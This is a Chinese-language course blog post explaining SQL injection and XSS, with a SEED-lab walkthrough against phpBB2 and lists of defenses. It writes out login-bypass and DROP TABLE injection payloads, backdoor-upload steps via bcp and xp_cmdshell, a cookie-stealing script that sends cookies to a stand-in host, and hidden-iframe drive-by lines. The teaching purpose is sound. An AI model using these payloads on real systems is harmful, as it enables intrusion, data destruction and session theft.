kali视频学习请看

http://www.cnblogs.com/lidong20179210/p/8909569.html


博文主要内容包括两种常见的web攻击

  • sql注入
  • XSS跨站脚本攻击

代码注入攻击

  • 代码注入攻击
  1. Web应用程序的输入验证不完善漏洞
  2. 执行由攻击者所注入的恶意指令和代码
  3. 敏感信息泄露、权限提升或对系统的未授权访问
  • 多样化的代码注入攻击类型
  1. SQL注入攻击:恶意读取、修改与操纵数据库;
  2. PHP注入或ASP注入攻击:植入和运行Webshell
  3. Shell注入攻击:恶意执行操作系统命令的;
  4. 其他多样化注入攻击: LDAP注入、邮件命令注入、 SSI

SQL注入攻击 (SQL Injection)

  • SQL注入攻击对Web应用程序的威胁,相当大部分Web应用程序使用后台数据库,动态产生内容

  • SQL注入攻击:利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。

  • SQL注入漏洞机制

  1. 用户输入没有被正确地过滤:转义字符(引号、反引号、双下划线、分号、 百分号)
  2. 没有进行严格类型检查:未判断输入是否预定类型

SQL注入攻击案例解析

inputusername = request.form("username")
inputpasswd = request.form("passwd")
set cn = Server.CreateObject("ADODB.Connection")
cn.Open "Driver={SQL Server};Server=WEBSVR;DataBase=WebDB;UID=sa;WD=123;"
set rso = server.CreateObject("ADODB.RecordSet")
sql = "SELECT * FROM accounts WHERE username ='" & inputusername
& "' AND passwd = '" & inputpasswd & "'"
rso.Open sql, cn
if rso.eof then
response.write("login error: username or passwd incorrect")
else
response.write("login success")
end if
正常情况
  • 用户名: guojing;口令: 123456
  • 正常SQL: SELECT * from FROM accounts WHERE

    username ='guojing' AND passwd = '123456'
攻击方法一
  • 用户名/口令:
huangrong' OR '1'='1
  • 注入SQL结果:
SELECT * from FROM accounts WHERE username ='huangrong' OR '1'='1'
AND passwd = 'huangrong' OR '1'='1'
  • 等价于: SELECT * from FROM accounts

  • 后果:绕过了login.asp用户身份认证的正常逻辑,获得访问

攻击方法二
  • 口令框输入:
huangrong'; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t
  • 注入SQL结果:
SELECT * from FROM accounts WHERE username ='x' OR '1'='1' AND passwd ='huangrong';DROP TABLE accounts;
SELECT * FROM admin WHERE 't' = 't'

实际SQL注入攻击步骤

1. 发现SQL注入点

注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页

  • 手工审查
  • Google Hacking

注入点验证

  • 整数型参数:

    • “yyy'” (加单引号) : SQL错误
    • “yyy and 1=1” :正常页面
    • “yyy and 1=2” :空白页面
  • 字符串参数
    • “yyy'” (加单引号) : SQL错误
    • “yyy' and '1'='1” : 正常页面
    • “yyy' and '1'='2” : 空白页面
2. 判断后台数据库类型
  • Web应用程序流行的后台数据库

    • ASP: MS SQL Server/ACCESS
    • PHP: MySQL
  • 利用数据库服务器的系统变量进行判断
  • 利用数据库服务器的系统表进行判断
3. 利用SQL注入进行后台口令拆解
4. 上传ASP后门,得到默认账户权限
  • 后台管理界面

    • 利用提供的上传/下载文件等功能上传ASP后门
  • Web服务器软件的默认账户权限

    • 本地受限账户命令执行
    • Web虚拟目录中文件上传/下载
  • 利用MS SQL Server的BCP命令

    • bcp "select codes from tmp_tbl"queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost U sa –P foobar
5. 本地特权提升与利用数据库扩展存储过程
  • 进一步本地权限提升

    • 利用系统或某些特权应用服务(如Serv-U)安全漏洞
    • 利用系统配置不当提升系统权限
  • MS SQL Server等DBMS支持扩展存储过程
    • xp_cmdshell, 需要sa帐户权限
  • 通过SQL注入点执行相应的扩展存储过程

SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制
  • 凡是来自外部的用户输入,必须进行完备检查
    • “限制、拒绝、净化”
    • URLScan过滤器:丢弃符合给定规则的输入
    • PHP v5.2.0: filter_input()与filter_var()
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO

    命令对象
  • 加强SQL数据库服务器的配置与连接
    • 避免将敏感性数据(如口令)明文存放于数据库中
    • 最小权限原则配置Web应用程序连接数据库的查询操作权限
    • 实现一个不泄漏任何有价值信息的默认出错处理机制

实践

SEED Ubuntu镜像

  • 环境配置

  • 实验需要三样东西,

    • Firefox、apache、phpBB2(镜像中已有):
    • ①运行Apache Server:镜像已经安装,只需运行命令%sudo service apache2 start
    • ②phpBB2 web应用:镜像已经安装,通过http://www.sqllabmysqlphpbb.com访问,应用程序源代码位于/var/www/SQL/SQLLabMysqlPhpbb/
    • ③配置DNS:上述的URL仅仅在镜像内部可以访问,原因是我们修改了/etc/hosts文件使http://www.sqllabmysqlphpbb.com指向本机IP 127.0.0.1。如果需要在其他机器访问,应该修改hosts文件,使URL映射到phpBB2所在机器的IP。
  • 关闭对抗措施PHP提供了自动对抗SQL注入的机制,被称为magic quote,我们需要关闭它。

    • 1.找到/etc/php5/apache2/php.ini
    • 2.找到magic_quotes_gpc = On这一行
    • 3.改为magic_quotes_gpc = Off

- 4.重启Apache:sudo service apache2 restart

  • Note for Instructors最好拥有一些背景知识

    • 1.使用虚拟机,Firefox的插件LiveHttpHeaders和Tamper Data
    • 2.对SQL语句的一些了解
    • 3.如何操作MySQL数据库
    • 4.对PHP一些了解

实验过程及结果

对SELECT语句的攻击

此次任务,你需要通过访问虚拟机内的URL:www.sqllabmysqlphpbb.com。在进入phpBB之前系统会要求你登陆。这个登陆认证由服务器上的login.php实现,需要用户输入用户名和密码来通过认证。

去网上寻找了答案,答案的是在用户名输入ted'#,密码空着就行,ted是一个已经存在的用户名,用单引号结束这个字符串,用#转义掉后面的语句。

对UPDATE语句的攻击

  • 当用户想要在phpBB2中修改他们的资料时,可以点击Profile,然后填写表单修改。

用户发送修改请求后,会执行include/usercp_register.php中的一条UPDATE SQL语句。在这条语句中同样有一个SQL注入漏洞,请用它来达到以下目标:在不知道其他人密码的情况下修改其资料。

  • 提交后发现SQL语句的结构,根据分析语句结构,分析出注入漏洞在

  • 查看Memberlist表单,发现id号

  • 通过此漏洞即可通过更改id号更改信息,此处我们修改admin的信息

修改成功。

跨站脚本攻击(XSS: Cross-Site Scripting)

什么是跨站脚本? (Wikipedia)

  • 跨站脚本是一种通常存在于Web应用程序中的安全

    漏洞,使得攻击者可以将恶意的代码注入到网页中,

    从而危害其他Web访问者。

    • 客户端脚本: Javascript, Flash ActionScript

  • 与代码注入攻击的比较
    • 相似的漏洞根源: Web应用程序没有对非预期输入做全面有效检查和净化.
    • 不同的最终攻击目标
      • 代码注入: Web站点
      • XSS:访问Web应用程序的其他用户

典型跨站脚本攻击

- 查看用户终端会话Cookie
- <script>alert(document.cookie)</script>
- 会话ID、甚至登录口令等敏感信息
- 窃取Cookie
- 攻击者控制网站: steal_cookie_example.com
- <script>document.location=„http://steal_cookie_example.com/getcookie.php?cookie=‟+document.cookie;</script>
- 网页挂马
- <iframe src="http://target_link" height=0 width=0></iframe>
- <script src = "http://target_link"></script>

跨站脚本攻击类型

  • 持久性XSS: Persistent/stored

    • 漏洞形式: Web应用程序允许用户输入内容并持久保存并显示在网页上.
    • 攻击方式: 攻击者通过利用跨站漏洞构建恶意脚本,对大量用户构成危害.
    • 典型案例: 留言本/论坛/博客/wiki等。
  • 非持久性XSS: Non-Persistent/reflected
    • 用户输入产生XSS反馈给该用户,需结合社会工程学进行攻击
    • DOM-based: 本地XSS, 如JS本地生成HTML页面中存在

XSS跨站脚本攻击防范措施

  • 服务器端防范措施-“限制、拒绝、净化”

    • 输入验证: 对用户提交数据进行尽可能严格的验证与过滤
    • 输出净化: HTMLEncode()方法
    • 消除危险的输入点
  • 客户端防范措施
    • 提高浏览器访问非受信网站时的安全等级
    • 关闭Cookie功能,或设置Cookie只读(IE6SP1 HTTPonly cookie)
    • 安全意识和浏览习惯->主流浏览器Chrome,Safari, Opera
实例

XSS实验相对SQL简单一些,答案也全,上两个结果截图。

web应用程序安全攻防---sql注入和xss跨站脚本攻击的更多相关文章

  1. 分享一个php的防火墙,拦截SQL注入和xss

    一个基于php的防火墙程序,拦截sql注入和xss攻击等 安装 composer require xielei/waf 使用说明 $waf = new \Xielei\Waf\Waf(); $waf- ...

  2. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  3. PHP防止SQL注入和XSS攻击

    PHP防止SQL注入和XSS攻击PHP防范SQL注入是一个非常重要的安全手段.一个优秀的PHP程序员除了要能顺利的编写代码,还需要具备使程序处于安全环境下的能力.说到网站安全,就不得不提到SQL注入( ...

  4. DDOS、CC、sql注入,跨站攻击防御方法

    web安全常见攻击解读--DDos.cc.sql注入.xss.CSRF 一,DDos https://www.cnblogs.com/sochishun/p/7081739.html#4111858 ...

  5. 个人网站对xss跨站脚本攻击(重点是富文本编辑器情况)和sql注入攻击的防范

    昨天本博客受到了xss跨站脚本注入攻击,3分钟攻陷--其实攻击者进攻的手法很简单,没啥技术含量.只能感叹自己之前竟然完全没防范. 这是数据库里留下的一些记录.最后那人弄了一个无限循环弹出框的脚本,估计 ...

  6. SQL 注入、XSS 攻击、CSRF 攻击

    SQL 注入.XSS 攻击.CSRF 攻击 SQL 注入 什么是 SQL 注入 SQL 注入,顾名思义就是通过注入 SQL 命令来进行攻击,更确切地说攻击者把 SQL 命令插入到 web 表单或请求参 ...

  7. SQL注入和XSS攻击

    SQL注入 定义:黑客通过在请求的数据中填入特殊字符,影响服务器数据库操作程序正常执行,从而达到攻击的目的. 形式: 拼接SQL: 登录验证:前台输入 username:yan password:12 ...

  8. yii框架各种防止sql注入,xss攻击,csrf攻击

    PHP中常用到的方法有: /*  防sql注入,xss攻击  (1)*/    function actionClean($str)    {        $str=trim($str);      ...

  9. 防止sql注入。xss攻击 方法

    //防止sql注入.xss攻击    /**     * 过滤参数     * @param string $str 接受的参数     * @return string     */    publ ...

随机推荐

  1. CSS的单位 及 css3的calc() 及 line-height 百分比

    CSS的单位及css3的calc()及line-height百分比 摘自:http://www.haorooms.com/post/css_unit_calc 单位介绍 说到css的单位,大家应该首先 ...

  2. Mspec

    Machine.Specifications Machine.Specifications (MSpec) is a context/specification framework that remo ...

  3. 20145120黄玄曦《网络对抗》MSF基础应用

    20145120黄玄曦<网络对抗>MSF基础应用 准备工作 本来决定就是老师提供的XP虚拟机了,做着做着发现因为打补丁以及语言的问题,需要另外的虚拟机. 求来了不那么健壮的虚拟机,环境如下 ...

  4. 20145201《Java程序设计》第7周学习总结

    20145201 <Java程序设计>第七周学习总结 教材学习内容总结 本周学习了课本第十二.十三章内容,即Lambda.时间与日期 第十二章 Lambda 12.1 认识Lambda语法 ...

  5. POJ 3977 - subset - 折半枚举

    2017-08-01 21:45:19 writer:pprp 题目: • POJ 3977• 给定n个数,求一个子集(非空)• 使得子集内元素和的绝对值最小• n ≤ 35 AC代码如下:(难点:枚 ...

  6. linux 分析进程占用CPU过高

    重点是查看进程的线程中,哪个线程占用cpu过高,然后用gdb附加到进程,调试线程,看是否有死循环或者死锁等问题,步骤如下: 1 先用ps + grep找出该死的进程pid,比如 1706 2 top ...

  7. var与this定义变量的区别以及疑惑

    我们知道: var可以定义一个局部变量,当然如果var定义在最外层的话,就是全局的局部变量,也就算是全局变量了. 而this关键字定义的变量准确的说应该算是成员变量.即定义的是调用对象的成员变量. 另 ...

  8. Valid sudoku, 是否是有效的数独

    问题描述:给定9x9矩阵,看是是否是有效数独,不用全部都填上数字,可以为. 算法分析:这道题就是判断,不难,有效数独三个充分条件,行,列,3*3子矩阵,都要满足数字不能重复. public boole ...

  9. hdu 5920 Wool 思路

    Wool Time Limit: 8000/4000 MS (Java/Others)    Memory Limit: 262144/262144 K (Java/Others) Problem D ...

  10. scala学习手记17 - 容器和类型推断

    关于scala的类型推断前面已经提到过多次.再来看一下下面这个例子: import java.util._ var list1: List[Int] = new ArrayList[Int] var ...